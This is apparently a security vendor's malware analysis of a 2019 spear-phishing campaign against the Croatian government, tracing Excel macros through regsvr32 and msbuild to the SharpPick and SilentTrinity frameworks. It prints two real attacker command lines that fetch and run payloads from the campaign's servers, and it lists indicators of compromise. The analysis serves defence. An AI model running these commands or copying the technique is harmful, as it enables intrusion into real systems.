IronPython, darkly: how we uncovered an attack on government entities in Europe

Hunting for new and dangerous cyberthreats is the job of the Positive Technologies Expert Security Center (PT ESC). In early April 2019, PT ESC analysts detected a targeted attack on the Croatian government. In this article, we will outline what makes this threat so interesting: delivery chain, indicators of compromise, and use of a new post-exploitation framework that to our knowledge has not previously been used by threat actors.

Infection chain

On April 2, 2019, during regular malware monitoring, an unusual Office document caught the eye of specialists at PT ESC.
   

Figure 1. Malicious attachment (named "Package Notification")

Disguised as a package notification, the file had been created in Microsoft Excel and saved in the old .xls format on the previous day (timestamp 2019-04-01 16:28:07 (UTC)). However, the "last printed" timestamp (2018-07-25 00:12:30 (UTC)) indicates that the document had been used in 2018. More on this later.

Note that the Comments field (which can be edited from within Excel) contains Windows console commands:

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing  > C:\users\%username%\appdata\local\microsoft\silent.vbs

Figure 2. Comments field with suspicious contents

Figure 3. Contents of the Comments field, in binary form

 This command creates a Visual Basic script that, when run, performs the following actions:

• Establishes a WebDAV network connection.
• Downloads and runs the file for the next stage of infection, with the help of the legitimate system utility regsvr32.

When a HTTP(S) connection is established with the attacker's server, an NTLM request is sent. This request can be used to recover the NTLM hash for pass-the-hash attacks. We did not find signs of such attacks; the reasons for connecting to the network resource remain obscure.

The technique of using regsvr32 (which registers and unregisters ActiveX controls) for malicious purposes, known as Squiblydoo, is not new. Attackers use it to get around application whitelisting and evade antivirus detection.

The text of the Comments field does not do anything by itself—it has to be triggered by something. When the victim opens the Excel document, a message written in Croatian asks the victim to enable macros:
   

Figure 4. Image asking the user to enable macros

If the user clicks the "Enable Content" button, another fake message appears, containing the logo of the Croatian Post and a package notification:

Figure 5. Fake package notification

Meanwhile, the macro has run the command from the Comments field and the new script is added to the system startup items:

Figure 6. Key logic in the macro

Curiously, the new script is not run by the macro. It is possible that this is by design, with the attackers choosing to start the next stage of infection only after the system has restarted and the user has logged in. We will return to this detail in a bit.

Portions of the script have interesting "handwriting." Well-structured, indented, and neatly formatted, this code may be borrowed from third-party sources or even output from programs that automatically generate such documents.
   

Figure 7. Macro code that has likely been borrowed

Searching for keywords found in the code turns up a large number of hits. Most likely, the hackers simply found the necessary code online and tweaked it as necessary:
   

Figure 8. A similar macro on issuu.com

Figure 9. A similar macro on stackoverflow.com

Figure 10. A similar macro on dummies.com

Let's return to the next stage of infection with regsvr32. When the command runs, a JavaScript scriptlet (named update.sct) is downloaded from the attacker server. The body contains Base64-encoded binary data. Once decoded, the data is deserialized and run by means of .NET Framework.

Figure 11. update.sct scriptlet downloaded from the attacker server

Note that this code, too, was borrowed by the attackers from public sources:

Figure 12. Similar code on rastamouse.me

Figure 13. Similar code on github.com

By all appearances, the hackers did not have a deep understanding of the tools used. For example, the scriptlet calls the setversion function, which does not do anything. (The same is true for one of the example scriptlets available online.)

When unpacked and run, the downloaded object is a .NET Portable Executable (PE) file.

Figure 14. Header of the PE file

Figure 15. Reference to SharpPick in the PE file's debugging information

The path to the source code folder is still present after compilation. Because of the -master suffix, we know that the project had been previously cloned from a repository. One folder path is an artifact of SharpPick, well-known software for downloading and running PowerShell code with .NET dependencies without needing a code interpreter.

Although SharpPick is available on GitHub, it is worth checking that no major modifications have been made to it by the attackers.

Figure 16. Part of the decompiled SharpPick code

Decompiling gives us pseudocode that, when run, decodes a PowerShell script from Base64 and runs it:

Figure 17. Partially converted PowerShell script

Simplifying the code a bit, we can easily see what it does:

• An object is created to interact with the web server with the indicated values for User-Agent, Cookie, and proxy settings.
• The payload is downloaded from the indicated address.
• The downloaded data is decoded with the specified RC4 key and run.

Unfortunately, the command-and-control (C2) server was no longer accessible by the time our investigation was underway. We could not uncover the data previously obtained from it. However, this time the information available online (such as in a FireEye report) makes it clear that the final link in this infection chain was Empire Backdoor, which enables remotely controlling a victim's computer and is part of the Empire Framework post-exploitation framework.
   

Figure 18. Use of a similar PowerShell script in attacks targeting a WinRAR vulnerability

Other patterns in the script are consistent with online materials on pentesting, with special attention to hiding attacker infrastructure behind proxy servers. The most likely source of information used by the attackers was a report from Payatu Technologies. It includes detailed instructions on such topics as redirection and logging, with a focus on how to do so with Empire.
   
A few hours later (2019-04-02 16:52:56 (UTC)), we discovered yet another "package notification." The document had similarities to the previous one: it was also found in Croatia, had the same name, and sported the same fake logo. But there were differences as well.
The malicious code was in the same place (the Comments field), but this time did something different:

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing  > C:\users\%username%\appdata\local\microsoft\silent.vbs

• The network connection is made via SMB.
• Downloading and activation of the next infection stage takes place with the help of msbuild, a legitimate .NET Framework utility.

The network address used for the SMB connection, funnily enough, contains the string "webdav" (underlining the connection of this attack to the previous one). A pass-the-hash attack is still possible with this method, although there is no confirmation that one actually took place. As before, application whitelisting is bypassed by means of a legitimate utility (this time, msbuild). Before dissecting how msbuild was used, it is worth looking at the differences in the macro code between versions.

The attackers did not make major changes to the VBA code. But this time, instead of the VBS script just being loaded, it runs as soon as the document is opened. Our guess is that the attackers had simply forgotten about this the first time, realized their oversight a while later, and corrected it in the newer version.
   

Figure 19. Comparison of macro code between the older and newer versions

The next stage of infection consists of an XML document with C# code. One feature of msbuild is its ability to compile and run inline code on the fly—as can be seen from the comments, still intact at the beginning of the document.

Yet again, the code contains a Base64 buffer that will be decoded, deflated, and run. And sure enough, the attackers relied on a publicly available template, as indicated by the comments and large number of sites with similar code.

Figure 20. msbuild.xml task downloaded from the attacker server

The result will be the same as last time: a .NET PE file will be loaded into RAM and run. The debugging information contains two clues: the code was compiled in a virtual machine (possibly to complicate attribution) and a reference is found to a folder named SILENTTRINITY, which will be important for our discussion.
   

Figure 21. Reference to SILENTTRINITY in debugging information for the PE file

Hot on the trail of these two documents, we found another two with the same file format, name, and deceptive image. The documents were available in late August 2018, which confirms our hypothesis that the campaign had been going on for quite some while.

Last year, the hackers did not use the Comments field, instead repurposing legitimate utilities. The malicious component was downloaded by certutil, which is intended for managing certificates, and launched by Windows Management Instrumentation (WMI):

Figure 22. Comparison of two different 2018 macros

Unfortunately, because so much time had already passed, we were unable to reconstruct the subsequent stages of the 2018 attacks.

In one part, the only difference in VBA code in the later version was the deletion of comments explaining the purpose of each step:
   

Figure 23. Comparison of 2018 and 2019 macros

SilentTrinity framework

 Performing an online search for SILENTTRINITY, to which we found a reference in the PE file debugging information, gives a very good idea of the origin of this link in the attack chain. In October 2018, Marcello Salvati (researcher at Black Hills Information Security) uploaded the SILENTTRINITY project to GitHub. His idea was to combine flexibility with the advantages of a well-known post-exploitation PowerShell framework by writing it in Python. His IronPython project continues to be developed today.

We won't get into the workings of IronPython (you can see a detailed talk by its creator). But we will describe the basic mechanism and a few highlights of the implementation.   

Here is what happens after the PE file is run (although the intermediate link does not necessarily have to be a PE file):

• Contact is made with the C2 server to download a ZIP archive with necessary dependencies and main Python script.
• The archive contents are extracted, without being saved to disk.
• Dependencies are registered for properly handling Python scripts.
• The main Python script runs and waits for a task from the attacker.
• Each task is sent as a ready-to-run Python script.
• The task is run on the victim's system in a separate thread.
• The result is sent back to the C2 server.

Figure 24. How SilentTrinity works (source: github.com/byt3bl33d3r/SILENTTRINITY)

A few facts of note about the implementation:

• IronPython support includes the Boo language (a strongly typed subset of IronPython).
• The attack is fileless and does not require disk space: dependencies, scripts, and tasks all reside in RAM.
• All C2 traffic is encrypted with AES, including the archive with dependencies, tasks, and command output.
• The public key is generated using the Diffie–Hellman protocol.
• Network transport takes place over HTTP(S) with proxy support.

Figure 25. User interface on the server side of SilentTrinity

On the day of the attacks, the PE loader was uploaded to VirusTotal. None of the antivirus engines on the site classified the loader as malware. This is not surprising for a few reasons: the binary file is not saved to disk and a signature detect would not make a difference. Plus, in any case, static detection is far from the only way to protect users.
   

Figure 26. Cloud scan of the SilentTrinity loader on the day of the attacks

A few days after the attack, detection verdicts started to pop up. But at the time of the attacks, the threat was unknown or (at any rate) antivirus engines did not have the relevant signatures.

Figure 27. Current cloud scan result for the SilentTrinity loader

This is the likely reason why the attackers chose this method. We are not aware of any previous cases in which SilentTrinity had been used for malicious ends.

Attacker infrastructure

The network infrastructure used by the hackers correlates chronologically with the attacks.
 

Table 1. Domains used as attacker servers

The domain names were chosen to resemble those of legitimate sites. Such names would presumably arouse less suspicion among phishing targets. Not all the impersonated domains related to Croatia.
All attacker domains were registered with WhoisGuard privacy protection. Ordinarily used to protect domain owners from spam by hiding personal information, this feature helped the attackers to remain anonymous.

Servers for distributing and managing the malware were rented from Breezle, a Dutch provider.
The available data on hosts, addresses, and domains used—as well as the high number of connections between them—suggests a large-scale malicious effort in this case. The campaign may have included other similar tools and additional, currently unknown cases of infection.
   

Figure 28. Graph of the attacker infrastructure

Conclusion

The day after detection of the malicious documents, a press release was issued in which the Croatian Information Systems Security Bureau raised the alarm about targeted phishing attacks. Traces were discovered on multiple Croatian government systems. According to the press release, the victims received emails with links to a phishing site. There they were prompted to download a malicious document, which was the jumping-off point of our analysis.

Our investigation fills in the gaps in the attack chain. We would like to conclude by recommending protection methods to mitigate the risk of such threats:

• Monitoring of use of certain whitelisted applications (certutil, regsvr32, msbuild, net, wmic).
• Scanning and analysis of email attachments as well as links.
• Periodic scanning of RAM of networked computers.

Author: Aleksey Vishnyakov, Positive Technologies

P.S. The author has presented on the topic at Positive Hack Days 9. For video of this and other talks from PHDays, see PHDays broadcast.

Indicators of compromise

0adb7204ce6bde667c5abd31e4dea164
13db33c83ee680e0a3b454228462e73f
78184cd55d192cdf6272527c62d2ff89
79e72899af1e50c18189340e4a1e46e0
831b08d0c650c8ae9ab8b4a10a199192
92530d1b546ddf2f0966bbe10771521f
c84b7c871bfcd346b3246364140cd60f
hxxps://postahr.vip/page/1/update.sct
hxxps://posteitaliane.live/owa/mail/archive.srf
hxxps://konzum.win/bat3.txt
hxxp://198.46.182.158/bat3.txt
hxxps://176.105.255.59:8089
[\\]176.105.255.59\webdav\msbuild.xml
postahr.online
176.105.254.52
93.170.105.32